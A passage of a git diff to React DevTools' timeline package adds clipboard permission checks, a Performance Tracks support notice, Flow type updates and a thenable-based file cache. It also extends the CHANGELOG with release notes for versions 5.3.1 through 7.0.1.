       items.push(
         {
-          onClick: () => copy(flamechartStackFrame.scriptUrl),
+          onClick: withPermissionsCheck({permissions: ['clipboardWrite']}, () =>
+            copy(flamechartStackFrame.scriptUrl),
+          ),
           content: 'Copy file path',
         },
         {
-          onClick: () =>
+          onClick: withPermissionsCheck({permissions: ['clipboardWrite']}, () =>
             copy(
               `line ${flamechartStackFrame.locationLine ?? ''}, column ${
                 flamechartStackFrame.locationColumn ?? ''
               }`,
             ),
+          ),
           content: 'Copy location',
         },
       );
diff --git a/packages/react-devtools-timeline/src/Timeline.js b/packages/react-devtools-timeline/src/Timeline.js
index 482375a46f92..f209309bb0ab 100644
--- a/packages/react-devtools-timeline/src/Timeline.js
+++ b/packages/react-devtools-timeline/src/Timeline.js
@@ -33,8 +33,14 @@ import {TimelineSearchContextController} from './TimelineSearchContext';
 import styles from './Timeline.css';
 
 export function Timeline(_: {}): React.Node {
-  const {file, inMemoryTimelineData, isTimelineSupported, setFile, viewState} =
-    useContext(TimelineContext);
+  const {
+    file,
+    inMemoryTimelineData,
+    isPerformanceTracksSupported,
+    isTimelineSupported,
+    setFile,
+    viewState,
+  } = useContext(TimelineContext);
   const {didRecordCommits, isProfiling} = useContext(ProfilerContext);
 
   const ref = useRef(null);
@@ -95,7 +101,11 @@ export function Timeline(_: {}): React.Node {
   } else if (isTimelineSupported) {
     content = <NoProfilingData />;
   } else {
-    content = <TimelineNotSupported />;
+    content = (
+      <TimelineNotSupported
+        isPerformanceTracksSupported={isPerformanceTracksSupported}
+      />
+    );
   }
 
   return (
diff --git a/packages/react-devtools-timeline/src/TimelineContext.js b/packages/react-devtools-timeline/src/TimelineContext.js
index 83813eb267a9..7835158e9895 100644
--- a/packages/react-devtools-timeline/src/TimelineContext.js
+++ b/packages/react-devtools-timeline/src/TimelineContext.js
@@ -31,6 +31,7 @@ import type {
 export type Context = {
   file: File | null,
   inMemoryTimelineData: Array<TimelineData> | null,
+  isPerformanceTracksSupported: boolean,
   isTimelineSupported: boolean,
   searchInputContainerRef: RefObject,
   setFile: (file: File | null) => void,
@@ -66,6 +67,18 @@ function TimelineContextController({children}: Props): React.Node {
     },
   );
 
+  const isPerformanceTracksSupported = useSyncExternalStore<boolean>(
+    function subscribe(callback) {
+      store.addListener('rootSupportsPerformanceTracks', callback);
+      return function unsubscribe() {
+        store.removeListener('rootSupportsPerformanceTracks', callback);
+      };
+    },
+    function getState() {
+      return store.rootSupportsPerformanceTracks;
+    },
+  );
+
   const inMemoryTimelineData = useSyncExternalStore<Array<TimelineData> | null>(
     function subscribe(callback) {
       store.profilerStore.addListener('isProcessingData', callback);
@@ -135,6 +148,7 @@ function TimelineContextController({children}: Props): React.Node {
     () => ({
       file,
       inMemoryTimelineData,
+      isPerformanceTracksSupported,
       isTimelineSupported,
       searchInputContainerRef,
       setFile,
@@ -145,6 +159,7 @@ function TimelineContextController({children}: Props): React.Node {
     [
       file,
       inMemoryTimelineData,
+      isPerformanceTracksSupported,
       isTimelineSupported,
       setFile,
       viewState,
diff --git a/packages/react-devtools-timeline/src/TimelineNotSupported.js b/packages/react-devtools-timeline/src/TimelineNotSupported.js
index de13a0439c3d..7eac79da94f5 100644
--- a/packages/react-devtools-timeline/src/TimelineNotSupported.js
+++ b/packages/react-devtools-timeline/src/TimelineNotSupported.js
@@ -12,16 +12,48 @@ import {isInternalFacebookBuild} from 'react-devtools-feature-flags';
 
 import styles from './TimelineNotSupported.css';
 
-export default function TimelineNotSupported(): React.Node {
+type Props = {
+  isPerformanceTracksSupported: boolean,
+};
+
+function PerformanceTracksSupported() {
   return (
-    <div className={styles.Column}>
-      <div className={styles.Header}>Timeline profiling not supported.</div>
+    <>
       <p className={styles.Paragraph}>
         <span>
-          Timeline profiler requires a development or profiling build of{' '}
-          <code className={styles.Code}>react-dom@^18</code>.
+          Please use{' '}
+          <a
+            className={styles.Link}
+            href="https://react.dev/reference/dev-tools/react-performance-tracks"
+            rel="noopener noreferrer"
+            target="_blank">
+            React Performance tracks
+          </a>{' '}
+          instead of the Timeline profiler.
         </span>
       </p>
+    </>
+  );
+}
+
+function UnknownUnsupportedReason() {
+  return (
+    <>
+      <p className={styles.Paragraph}>
+        Timeline profiler requires a development or profiling build of{' '}
+        <code className={styles.Code}>react-dom@{'>='}18</code>.
+      </p>
+      <p className={styles.Paragraph}>
+        In React 19.2 and above{' '}
+        <a
+          className={styles.Link}
+          href="https://react.dev/reference/dev-tools/react-performance-tracks"
+          rel="noopener noreferrer"
+          target="_blank">
+          React Performance tracks
+        </a>{' '}
+        can be used instead.
+      </p>
       <div className={styles.LearnMoreRow}>
         Click{' '}
         <a
@@ -33,6 +65,22 @@ export default function TimelineNotSupported(): React.Node {
         </a>{' '}
         to learn more about profiling.
       </div>
+    </>
+  );
+}
+
+export default function TimelineNotSupported({
+  isPerformanceTracksSupported,
+}: Props): React.Node {
+  return (
+    <div className={styles.Column}>
+      <div className={styles.Header}>Timeline profiling not supported.</div>
+
+      {isPerformanceTracksSupported ? (
+        <PerformanceTracksSupported />
+      ) : (
+        <UnknownUnsupportedReason />
+      )}
 
       {isInternalFacebookBuild && (
         <div className={styles.MetaGKRow}>
diff --git a/packages/react-devtools-timeline/src/content-views/ReactMeasuresView.js b/packages/react-devtools-timeline/src/content-views/ReactMeasuresView.js
index ad4cc1f28249..f85aba3b3ca9 100644
--- a/packages/react-devtools-timeline/src/content-views/ReactMeasuresView.js
+++ b/packages/react-devtools-timeline/src/content-views/ReactMeasuresView.js
@@ -186,8 +186,8 @@ export class ReactMeasuresView extends View {
     context.fillStyle = showHoverHighlight
       ? hoveredFillStyle
       : showGroupHighlight
-      ? groupSelectedFillStyle
-      : fillStyle;
+        ? groupSelectedFillStyle
+        : fillStyle;
     context.fillRect(
       drawableRect.origin.x,
       drawableRect.origin.y,
diff --git a/packages/react-devtools-timeline/src/content-views/constants.js b/packages/react-devtools-timeline/src/content-views/constants.js
index ec1156605c2f..1d68ab6edfe6 100644
--- a/packages/react-devtools-timeline/src/content-views/constants.js
+++ b/packages/react-devtools-timeline/src/content-views/constants.js
@@ -16,7 +16,7 @@ export const MARKER_TEXT_PADDING = 8;
 export const COLOR_HOVER_DIM_DELTA = 5;
 export const TOP_ROW_PADDING = 4;
 export const NATIVE_EVENT_HEIGHT = 14;
-export const SUSPENSE_EVENT_HEIGHT = 14;
+export const SUSPENSE_EVENT_HEIGHT: number = 14;
 export const PENDING_SUSPENSE_EVENT_SIZE = 8;
 export const REACT_EVENT_DIAMETER = 6;
 export const USER_TIMING_MARK_SIZE = 8;
diff --git a/packages/react-devtools-timeline/src/content-views/utils/moduleFilters.js b/packages/react-devtools-timeline/src/content-views/utils/moduleFilters.js
index fd323b897f9a..ff35f0440f8b 100644
--- a/packages/react-devtools-timeline/src/content-views/utils/moduleFilters.js
+++ b/packages/react-devtools-timeline/src/content-views/utils/moduleFilters.js
@@ -51,12 +51,16 @@ export function isInternalModule(
       const [startStackFrame, stopStackFrame] = ranges[i];
 
       const isAfterStart =
+        // $FlowFixMe[invalid-compare] -- TODO: Revealed when adding types to error-stack-parser
         locationLine > startStackFrame.lineNumber ||
         (locationLine === startStackFrame.lineNumber &&
+          // $FlowFixMe[invalid-compare]
           locationColumn >= startStackFrame.columnNumber);
       const isBeforeStop =
+        // $FlowFixMe[invalid-compare]
         locationLine < stopStackFrame.lineNumber ||
         (locationLine === stopStackFrame.lineNumber &&
+          // $FlowFixMe[invalid-compare]
           locationColumn <= stopStackFrame.columnNumber);
 
       if (isAfterStart && isBeforeStop) {
diff --git a/packages/react-devtools-timeline/src/import-worker/preprocessData.js b/packages/react-devtools-timeline/src/import-worker/preprocessData.js
index d6fe8faa6e3f..8d45be544d74 100644
--- a/packages/react-devtools-timeline/src/import-worker/preprocessData.js
+++ b/packages/react-devtools-timeline/src/import-worker/preprocessData.js
@@ -28,6 +28,7 @@ import type {
   TimelineData,
   SchedulingEvent,
   SuspenseEvent,
+  Snapshot,
 } from '../types';
 import {
   REACT_TOTAL_NUM_LANES,
@@ -123,7 +124,7 @@ function updateLaneToLabelMap(
 
 let profilerVersion = null;
 
-function getLastType(stack: $PropertyType<ProcessorState, 'measureStack'>) {
+function getLastType(stack: ProcessorState['measureStack']) {
   if (stack.length > 0) {
     const {type} = stack[stack.length - 1];
     return type;
@@ -131,7 +132,7 @@ function getLastType(stack: $PropertyType<ProcessorState, 'measureStack'>) {
   return null;
 }
 
-function getDepth(stack: $PropertyType<ProcessorState, 'measureStack'>) {
+function getDepth(stack: ProcessorState['measureStack']) {
   if (stack.length > 0) {
     const {depth, type} = stack[stack.length - 1];
     return type === 'render-idle' ? depth : depth + 1;
@@ -180,7 +181,7 @@ function markWorkCompleted(
   type: ReactMeasureType,
   stopTime: Milliseconds,
   currentProfilerData: TimelineData,
-  stack: $PropertyType<ProcessorState, 'measureStack'>,
+  stack: ProcessorState['measureStack'],
 ) {
   if (stack.length === 0) {
     console.error(
@@ -202,6 +203,7 @@ function markWorkCompleted(
     );
   }
 
+  // $FlowFixMe[incompatible-use]
   const {measure, startTime} = stack.pop();
   if (!measure) {
     console.error('Could not find matching measure for type "%s".', type);
@@ -213,7 +215,7 @@ function markWorkCompleted(
 
 function throwIfIncomplete(
   type: ReactMeasureType,
-  stack: $PropertyType<ProcessorState, 'measureStack'>,
+  stack: ProcessorState['measureStack'],
 ) {
   const lastIndex = stack.length - 1;
   if (lastIndex >= 0) {
@@ -349,7 +351,7 @@ function processScreenshot(
 ) {
   const encodedSnapshot = event.args.snapshot; // Base 64 encoded
 
-  const snapshot = {
+  const snapshot: Snapshot = {
     height: 0,
     image: null,
     imageSource: `data:image/png;base64,${encodedSnapshot}`,
@@ -508,7 +510,7 @@ function processTimelineEvent(
       } else if (name.startsWith('--schedule-forced-update-')) {
         const [laneBitmaskString, componentName] = name.slice(25).split('-');
 
-        const forceUpdateEvent = {
+        const forceUpdateEvent: SchedulingEvent = {
           type: 'schedule-force-update',
           lanes: getLanesFromTransportDecimalBitmask(laneBitmaskString),
           componentName,
@@ -526,7 +528,7 @@ function processTimelineEvent(
       } else if (name.startsWith('--schedule-state-update-')) {
         const [laneBitmaskString, componentName] = name.slice(24).split('-');
 
-        const stateUpdateEvent = {
+        const stateUpdateEvent: SchedulingEvent = {
           type: 'schedule-state-update',
           lanes: getLanesFromTransportDecimalBitmask(laneBitmaskString),
           componentName,
@@ -577,7 +579,7 @@ function processTimelineEvent(
         // We can't know if they'll be resolved or not at this point.
         // We'll just give them a default (fake) duration width.
 
-        const suspenseEvent = {
+        const suspenseEvent: SuspenseEvent = {
           componentName,
           depth,
           duration: null,
diff --git a/packages/react-devtools-timeline/src/timelineCache.js b/packages/react-devtools-timeline/src/timelineCache.js
index b6e7e6076e24..ee32e4440f0b 100644
--- a/packages/react-devtools-timeline/src/timelineCache.js
+++ b/packages/react-devtools-timeline/src/timelineCache.js
@@ -7,46 +7,43 @@
  * @flow
  */
 
-import type {Wakeable} from 'shared/ReactTypes';
+import type {
+  Thenable,
+  FulfilledThenable,
+  RejectedThenable,
+} from 'shared/ReactTypes';
 import type {TimelineData} from './types';
 
-import {importFile as importFileWorker} from './import-worker';
-
-const Pending = 0;
-const Resolved = 1;
-const Rejected = 2;
-
-type PendingRecord = {
-  status: 0,
-  value: Wakeable,
-};
-
-type ResolvedRecord<T> = {
-  status: 1,
-  value: T,
-};
+import * as React from 'react';
 
-type RejectedRecord = {
-  status: 2,
-  value: Error,
-};
-
-type Record<T> = PendingRecord | ResolvedRecord<T> | RejectedRecord;
+import {importFile as importFileWorker} from './import-worker';
 
 // This is intentionally a module-level Map, rather than a React-managed one.
 // Otherwise, refreshing the inspected element cache would also clear this cache.
 // Profiler file contents are static anyway.
-const fileNameToProfilerDataMap: Map<string, Record<TimelineData>> = new Map();
-
-function readRecord<T>(record: Record<T>): ResolvedRecord<T> | RejectedRecord {
-  if (record.status === Resolved) {
-    // This is just a type refinement.
-    return record;
-  } else if (record.status === Rejected) {
-    // This is just a type refinement.
-    return record;
+const fileNameToProfilerDataMap: Map<
+  string,
+  Thenable<TimelineData>,
+> = new Map();
+
+function readRecord<T>(record: Thenable<T>): T | Error {
+  if (typeof React.use === 'function') {
+    try {
+      // eslint-disable-next-line react-hooks-published/rules-of-hooks
+      return React.use(record);
+    } catch (x) {
+      if (record.status === 'rejected') {
+        return (record.reason: any);
+      }
+      throw x;
+    }
+  }
+  if (record.status === 'fulfilled') {
+    return record.value;
+  } else if (record.status === 'rejected') {
+    return (record.reason: any);
   } else {
-    throw record.value;
+    throw record;
   }
 }
 
@@ -55,10 +52,15 @@ export function importFile(file: File): TimelineData | Error {
   let record = fileNameToProfilerDataMap.get(fileName);
 
   if (!record) {
-    const callbacks = new Set<() => mixed>();
-    const wakeable: Wakeable = {
-      then(callback: () => mixed) {
+    const callbacks = new Set<(value: any) => mixed>();
+    const rejectCallbacks = new Set<(reason: mixed) => mixed>();
+    const thenable: Thenable<TimelineData> = {
+      status: 'pending',
+      value: null,
+      reason: null,
+      then(callback: (value: any) => mixed, reject: (error: mixed) => mixed) {
         callbacks.add(callback);
+        rejectCallbacks.add(reject);
       },
 
       // Optional property used by Timeline:
@@ -67,37 +69,42 @@ export function importFile(file: File): TimelineData | Error {
 
     const wake = () => {
       // This assumes they won't throw.
-      callbacks.forEach(callback => callback());
+      callbacks.forEach(callback => callback((thenable: any).value));
+      callbacks.clear();
+      rejectCallbacks.clear();
+    };
+    const wakeRejections = () => {
+      // This assumes they won't throw.
+      rejectCallbacks.forEach(callback => callback((thenable: any).reason));
+      rejectCallbacks.clear();
       callbacks.clear();
     };
 
-    const newRecord: Record<TimelineData> = (record = {
-      status: Pending,
-      value: wakeable,
-    });
+    record = thenable;
 
     importFileWorker(file).then(data => {
       switch (data.status) {
         case 'SUCCESS':
-          const resolvedRecord =
-            ((newRecord: any): ResolvedRecord<TimelineData>);
-          resolvedRecord.status = Resolved;
-          resolvedRecord.value = data.processedData;
+          const fulfilledThenable: FulfilledThenable<TimelineData> =
+            (thenable: any);
+          fulfilledThenable.status = 'fulfilled';
+          fulfilledThenable.value = data.processedData;
+          wake();
           break;
         case 'INVALID_PROFILE_ERROR':
         case 'UNEXPECTED_ERROR':
-          const thrownRecord = ((newRecord: any): RejectedRecord);
-          thrownRecord.status = Rejected;
-          thrownRecord.value = data.error;
+          const rejectedThenable: RejectedThenable<TimelineData> =
+            (thenable: any);
+          rejectedThenable.status = 'rejected';
+          rejectedThenable.reason = data.error;
+          wakeRejections();
           break;
       }
-
-      wake();
     });
 
     fileNameToProfilerDataMap.set(fileName, record);
   }
 
-  const response = readRecord(record).value;
+  const response = readRecord(record);
   return response;
 }
diff --git a/packages/react-devtools-timeline/src/types.js b/packages/react-devtools-timeline/src/types.js
index 6a12fc610543..7ba6f935f2ac 100644
--- a/packages/react-devtools-timeline/src/types.js
+++ b/packages/react-devtools-timeline/src/types.js
@@ -6,7 +6,7 @@
  *
  * @flow
  */
-
+import type {StackFrame as ErrorStackFrame} from 'error-stack-parser';
 import type {ScrollState} from './view-base/utils/scrollState';
 
 // Source: https://github.com/facebook/flow/issues/4002#issuecomment-323612798
@@ -16,12 +16,7 @@ type Return_<R, F: (...args: Array<any>) => R> = R;
 export type Return<T> = Return_<mixed, T>;
 
 // Project types
-
-export type ErrorStackFrame = {
-  fileName: string,
-  lineNumber: number,
-  columnNumber: number,
-};
+export type {ErrorStackFrame};
 
 export type Milliseconds = number;
 
@@ -84,7 +79,7 @@ export type SchedulingEvent =
   | ReactScheduleRenderEvent
   | ReactScheduleStateUpdateEvent
   | ReactScheduleForceUpdateEvent;
-export type SchedulingEventType = $PropertyType<SchedulingEvent, 'type'>;
+export type SchedulingEventType = SchedulingEvent['type'];
 
 export type ReactMeasureType =
   | 'commit'
@@ -192,7 +187,7 @@ export type ViewState = {
 };
 
 export type InternalModuleSourceToRanges = Map<
-  string,
+  string | void,
   Array<[ErrorStackFrame, ErrorStackFrame]>,
 >;
 
@@ -224,7 +219,7 @@ export type TimelineDataExport = {
   duration: number,
   flamechart: Flamechart,
   internalModuleSourceToRanges: Array<
-    [string, Array<[ErrorStackFrame, ErrorStackFrame]>],
+    [string | void, Array<[ErrorStackFrame, ErrorStackFrame]>],
   >,
   laneToLabelKeyValueArray: Array<[ReactLane, string]>,
   laneToReactMeasureKeyValueArray: Array<[ReactLane, ReactMeasure[]]>,
diff --git a/packages/react-devtools-timeline/src/utils/flow.js b/packages/react-devtools-timeline/src/utils/flow.js
index 48d8cf8f0263..cfdd3688c9d5 100644
--- a/packages/react-devtools-timeline/src/utils/flow.js
+++ b/packages/react-devtools-timeline/src/utils/flow.js
@@ -6,8 +6,11 @@
  *
  * @flow
  */
-import type {SchedulingEvent} from '../types';
+import type {ReactScheduleStateUpdateEvent, SchedulingEvent} from '../types';
 
-export function isStateUpdateEvent(event: SchedulingEvent): boolean %checks {
+export function isStateUpdateEvent(
+  event: SchedulingEvent,
+  // eslint-disable-next-line
+): event is ReactScheduleStateUpdateEvent {
   return event.type === 'schedule-state-update';
 }
diff --git a/packages/react-devtools-timeline/src/view-base/vertical-scroll-overflow/withVerticalScrollbarLayout.js b/packages/react-devtools-timeline/src/view-base/vertical-scroll-overflow/withVerticalScrollbarLayout.js
index 7fd3ea2d26e8..2e3a8fa8d225 100644
--- a/packages/react-devtools-timeline/src/view-base/vertical-scroll-overflow/withVerticalScrollbarLayout.js
+++ b/packages/react-devtools-timeline/src/view-base/vertical-scroll-overflow/withVerticalScrollbarLayout.js
@@ -7,7 +7,7 @@
  * @flow
  */
 
-import type {Layouter} from '../layouter';
+import type {LayoutInfo, Layouter} from '../layouter';
 
 /**
  * Assumes {@param layout} will only contain 2 views.
@@ -25,7 +25,7 @@ export const withVerticalScrollbarLayout: Layouter = (
     ? scrollbarLayoutInfo.view.desiredSize().width
     : 0;
 
-  const laidOutContentLayoutInfo = {
+  const laidOutContentLayoutInfo: LayoutInfo = {
     ...contentLayoutInfo,
     frame: {
       origin: contentLayoutInfo.view.frame.origin,
@@ -35,7 +35,7 @@ export const withVerticalScrollbarLayout: Layouter = (
       },
     },
   };
-  const laidOutScrollbarLayoutInfo = {
+  const laidOutScrollbarLayoutInfo: LayoutInfo = {
     ...scrollbarLayoutInfo,
     frame: {
       origin: {
diff --git a/packages/react-devtools/CHANGELOG.md b/packages/react-devtools/CHANGELOG.md
index e6d5525fd64b..6c3ab1baf07e 100644
--- a/packages/react-devtools/CHANGELOG.md
+++ b/packages/react-devtools/CHANGELOG.md
@@ -4,6 +4,169 @@
 
 ---
 
+### 7.0.1
+October 20, 2025
+
+* Various UI improvements to experimental Suspense tab ([sebmarkbage](https://github.com/sebmarkbage) & [eps1lon](https://github.com/eps1lon))
+* devtools: fix ellipsis truncation for key values ([sophiebits](https://github.com/sophiebits) in [#34796](https://github.com/facebook/react/pull/34796))
+* fix(devtools): remove duplicated "Display density" field in General settings ([Anatole-Godard](https://github.com/Anatole-Godard) in [#34792](https://github.com/facebook/react/pull/34792))
+
+---
+
+### 7.0.0
+Oct 2, 2025
+
+Add a "suspended by" section showing all causes of why the inspected element suspended. This includes:
+
+- `await` in Server Components  
+- `React.lazy`  
+- `use()`  
+- suspensey images, CSS, and fonts
+
+Add a Code Editor Sidebar Pane in the Chrome Sources Tab (@sebmarkbage [#33968](https://github.com/facebook/react/pull/33968), [#33987](https://github.com/facebook/react/pull/33987), [#33988](https://github.com/facebook/react/pull/33988))  
+
+Add Option to Open Local Files directly in External Editor (@sebmarkbage [#33983](https://github.com/facebook/react/pull/33983), [#33985](https://github.com/facebook/react/pull/33985), [#33965](https://github.com/facebook/react/pull/33965))  
+
+#### Other changes
+
+- Allow inspection of React tree before streaming has finished (@eps1lon [#34360](https://github.com/facebook/react/pull/34360))  
+- Always attempt to mount dehydrated roots (@eps1lon [#34209](https://github.com/facebook/react/pull/34209))  
+- Show `name` prop of Suspense / Activity in the Components Tree view (@sebmarkbage [#34135](https://github.com/facebook/react/pull/34135))  
+- 1st class support of used Thenables (@sebmarkbage, @eps1lon: [#32989](https://github.com/facebook/react/pull/32989), [#34097](https://github.com/facebook/react/pull/34097))  
+- Allow inspecting cause, name, message, stack of Errors in props (@eps1lon [#33023](https://github.com/facebook/react/pull/33023))  
+- Allow Introspection of React Elements and React.lazy (@sebmarkbage [#34129](https://github.com/facebook/react/pull/34129))  
+- Fix "View source" for sources with URLs that aren't normalized (@eps1lon [#32951](https://github.com/facebook/react/pull/32951))  
+- Fix symbolication with Index Source Maps (@eps1lon [#34300](https://github.com/facebook/react/pull/34300))  
+- Ignore List Stack Traces (@sebmarkbage [#34210](https://github.com/facebook/react/pull/34210))  
+- Linkify Source View (@sebmarkbage [#33954](https://github.com/facebook/react/pull/33954))  
+- Only show state for ClassComponents (@sebmarkbage [#34091](https://github.com/facebook/react/pull/34091))  
+- Show Owner Stacks in "rendered by" View (@sebmarkbage [#34130](https://github.com/facebook/react/pull/34130))  
+- Stop mounting empty roots (@eps1lon [#34467](https://github.com/facebook/react/pull/34467))  
+- Show changed hooks names in the Profiler tab (@piotrski [#31398](https://github.com/facebook/react/pull/31398))  
+- Display native tag for host components for Native (@ruslan [#32762](https://github.com/facebook/react/pull/32762))  
+- Static Components panel layout (@ruslan [#33696](https://github.com/facebook/react/pull/33696), [#33517](https://github.com/facebook/react/pull/33517), [#34088](https://github.com/facebook/react/pull/34088))  
+- Add Badge to Owners and sometimes stack traces (@sebmarkbage [#34106](https://github.com/facebook/react/pull/34106))  
+- Make a non-editable name of KeyValue clickable ([34095](https://github.com/facebook/react/pull/34095))  
+- Only inspect elements on left mouseclick (@eps1lon [#34361](https://github.com/facebook/react/pull/34361))  
+- Rerender when the browser theme changes (@sebmarkbage [#33992](https://github.com/facebook/react/pull/33992))  
+- Stop using native `title` for buttons/icons (@eps1lon [#34379](https://github.com/facebook/react/pull/34379))  
+- Style clickable Owner components with angle brackets and bold (@sebmarkbage [#34096](https://github.com/facebook/react/pull/34096))  
+- Swap Components tab layout based on container size (@eps1lon [#34035](https://github.com/facebook/react/pull/34035))  
+- Use Visually Lighter Skeletons (@sebmarkbage [#34185](https://github.com/facebook/react/pull/34185))
+
+---
+
+### 6.1.5
+July 4, 2025
+
+* fix: fallback to reading string stack trace when failed ([hoxyq](https://github.com/hoxyq) in [#33700](https://github.com/facebook/react/pull/33700))
+
+---
+
+### 6.1.4
+July 4, 2025
+
+* feat: static Components panel layout ([hoxyq](https://github.com/hoxyq) in [#33696](https://github.com/facebook/react/pull/33696))
+
+---
+
+### 6.1.3
+June 27, 2025
+
+* devtools: emit performance entries only when profiling ([hoxyq](https://github.com/hoxyq) in [#33652](https://github.com/facebook/react/pull/33652))
+* Get Server Component Function Location for Parent Stacks using Child's Owner Stack ([sebmarkbage](https://github.com/sebmarkbage) in [#33629](https://github.com/facebook/react/pull/33629))
+* Added minimum indent size to Component Tree ([jsdf](https://github.com/jsdf) in [#33517](https://github.com/facebook/react/pull/33517))
+* refactor[devtools]: update css for settings and support css variables in shadow dom scnenario ([hoxyq](https://github.com/hoxyq) in [#33487](https://github.com/facebook/react/pull/33487))
+* Get source location from structured callsites in prepareStackTrace ([sebmarkbage](https://github.com/sebmarkbage) in [#33143](https://github.com/facebook/react/pull/33143))
+
+---
+
+### 6.1.2
+May 7, 2025
+
+* Restore "double-click to view owners tree" functionality ([eps1lon](https://github.com/eps1lon) in [#33039](https://github.com/facebook/react/pull/33039))
+
+---
+
+### 6.1.1
+February 7, 2025
+
+* DevTools: refactor NativeStyleEditor, don't use custom cache implementation ([hoxyq](https://github.com/hoxyq) in [#32298](https://github.com/facebook/react/pull/32298))
+* DevTools: fix host component filter option title ([hoxyq](https://github.com/hoxyq) in [#32296](https://github.com/facebook/react/pull/32296))
+* chore[DevTools]: make clipboardWrite optional for chromium ([hoxyq](https://github.com/hoxyq) in [#32262](https://github.com/facebook/react/pull/32262))
+
+---
+
+### 6.1.0
+January 16, 2025
+
+* fix[DevTools]: fix HostComponent naming in filters for Native ([hoxyq](https://github.com/hoxyq) in [#32086](https://github.com/facebook/react/pull/32086))
+* Fix copy functionality in Firefox ([V3RON](https://github.com/V3RON) in [#32077](https://github.com/facebook/react/pull/32077))
+* Prevent crash when starting consecutive profiling sessions ([V3RON](https://github.com/V3RON) in [#32066](https://github.com/facebook/react/pull/32066))
+* fix[DevTools/Tree]: only scroll to item when panel is visible ([hoxyq](https://github.com/hoxyq) in [#32018](https://github.com/facebook/react/pull/32018))
+* feat[Tree]: set initial scroll offset when inspected element index is set ([hoxyq](https://github.com/hoxyq) in [#31968](https://github.com/facebook/react/pull/31968))
+* DevTools: fix initial host instance selection ([hoxyq](https://github.com/hoxyq) in [#31892](https://github.com/facebook/react/pull/31892))
+* chore[DevTools/Tree]: don't pre-select root element ([hoxyq](https://github.com/hoxyq) in [#32015](https://github.com/facebook/react/pull/32015))
+* Show component names while highlighting renders ([piotrski](https://github.com/piotrski) in [#31577](https://github.com/facebook/react/pull/31577))
+* allow non-coercible objects in formatConsoleArgumentsToSingleString ([henryqdineen](https://github.com/henryqdineen) in [#31444](https://github.com/facebook/react/pull/31444))
+
+---
+
+### 6.0.1
+October 15, 2024
+
+* Fix React Compiler badging ([poteto](https://github.com/poteto) in [#31196](https://github.com/facebook/react/pull/31196))
+* fix[react-devtools]: record timeline data only when supported ([hoxyq](https://github.com/hoxyq) in [#31154](https://github.com/facebook/react/pull/31154))
+* fix[react-devtools]: remove all listeners when Agent is shutdown ([hoxyq](https://github.com/hoxyq) in [#31151](https://github.com/facebook/react/pull/31151))
+* fix[react-devtools]: wrap key string in preformatted text html element ([hoxyq](https://github.com/hoxyq) in [#31153](https://github.com/facebook/react/pull/31153))
+* fix[react-devtools]: request hook initialization inside http server response ([hoxyq](https://github.com/hoxyq) in [#31102](https://github.com/facebook/react/pull/31102))
+* refactor: allow custom impl of backend reload-to-profile support check ([EdmondChuiHW](https://github.com/EdmondChuiHW) in [#31048](https://github.com/facebook/react/pull/31048))
+
+---
+
+### 6.0.0
+September 25, 2024
+
+#### Features
+* Support Server Components in Tree ([sebmarkbage](https://github.com/sebmarkbage) in [#30684](https://github.com/facebook/react/pull/30684))
+* feat: expose installHook with settings argument from react-devtools-core/backend ([hoxyq](https://github.com/hoxyq) in [#30987](https://github.com/facebook/react/pull/30987))
+* Add Filtering of Environment Names ([sebmarkbage](https://github.com/sebmarkbage) in [#30850](https://github.com/facebook/react/pull/30850))
+* Support secondary environment name when it changes ([sebmarkbage](https://github.com/sebmarkbage) in [#30842](https://github.com/facebook/react/pull/30842))
+* Filter Server Components ([sebmarkbage](https://github.com/sebmarkbage) in [#30839](https://github.com/facebook/react/pull/30839))
+* Make function inspection instant ([sebmarkbage](https://github.com/sebmarkbage) in [#30786](https://github.com/facebook/react/pull/30786))
+* Make Functions Clickable to Jump to Definition ([sebmarkbage](https://github.com/sebmarkbage) in [#30769](https://github.com/facebook/react/pull/30769))
+* [Flight/DevTools] Pass the Server Component's "key" as Part of the ReactComponentInfo ([sebmarkbage](https://github.com/sebmarkbage) in [#30703](https://github.com/facebook/react/pull/30703))
+* Make Element Inspection Feel Snappy ([sebmarkbage](https://github.com/sebmarkbage) in [#30555](https://github.com/facebook/react/pull/30555))
+* Print component stacks as error objects to get source mapping ([sebmarkbage](https://github.com/sebmarkbage) in [#30289](https://github.com/facebook/react/pull/30289))
+
+#### Bugfixes
+* Fix: profiling crashes #30661 #28838 ([EdmondChuiHW](https://github.com/EdmondChuiHW) in [#31024](https://github.com/facebook/react/pull/31024))
+* chore: remove settings manager from react-devtools-core ([hoxyq](https://github.com/hoxyq) in [#30986](https://github.com/facebook/react/pull/30986))
+* fix[react-devtools/extensions]: fixed tabs API calls and displaying restricted access popup ([hoxyq](https://github.com/hoxyq) in [#30825](https://github.com/facebook/react/pull/30825))
+* fix[react-devtools/InspectedElement]: fixed border stylings when some of the panels are not rendered ([hoxyq](https://github.com/hoxyq) in [#30676](https://github.com/facebook/react/pull/30676))
+* fix: path handling in react devtools ([Jack-Works](https://github.com/Jack-Works) in [#29199](https://github.com/facebook/react/pull/29199))
+
+#### Other
+* feat: display message if user ended up opening hook script ([hoxyq](https://github.com/hoxyq) in [#31000](https://github.com/facebook/react/pull/31000))
+* refactor[react-devtools]: move console patching to global hook ([hoxyq](https://github.com/hoxyq) in [#30596](https://github.com/facebook/react/pull/30596))
+* refactor[react-devtools]: initialize renderer interface early ([hoxyq](https://github.com/hoxyq) in [#30946](https://github.com/facebook/react/pull/30946))
+* Use Unicode Atom Symbol instead of Atom Emoji ([sebmarkbage](https://github.com/sebmarkbage) in [#30832](https://github.com/facebook/react/pull/30832))
+* feat[react-devtools]: support Manifest v3 for Firefox extension ([hoxyq](https://github.com/hoxyq) in [#30824](https://github.com/facebook/react/pull/30824))
+* Enable pointEvents while scrolling ([sebmarkbage](https://github.com/sebmarkbage) in [#30560](https://github.com/facebook/react/pull/30560))
+
+---
+
+### 5.3.1
+July 3, 2024
+
+* chore[react-devtools/renderer]: dont show strict mode warning for prod renderer builds ([hoxyq](https://github.com/hoxyq) in [#30158](https://github.com/facebook/react/pull/30158))
+* chore[react-devtools/ui]: fix strict mode badge styles ([hoxyq](https://github.com/hoxyq) in [#30159](https://github.com/facebook/react/pull/30159))
+* fix[react-devtools]: restore original args when recording errors ([hoxyq](https://github.com/hoxyq) in [#30091](https://github.com/facebook/react/pull/30091))
+* Read constructor name more carefully ([LoganDark](https://github.com/LoganDark) in [#29954](https://github.com/facebook/react/pull/29954))
+* refactor[react-devtools/extensions]: dont debounce cleanup logic on navigation ([hoxyq](https://github.com/hoxyq) in [#30027](https://github.com/facebook/react/pull/30027))
+
+---
+
 ### 5.3.0
 June 17, 2024
 
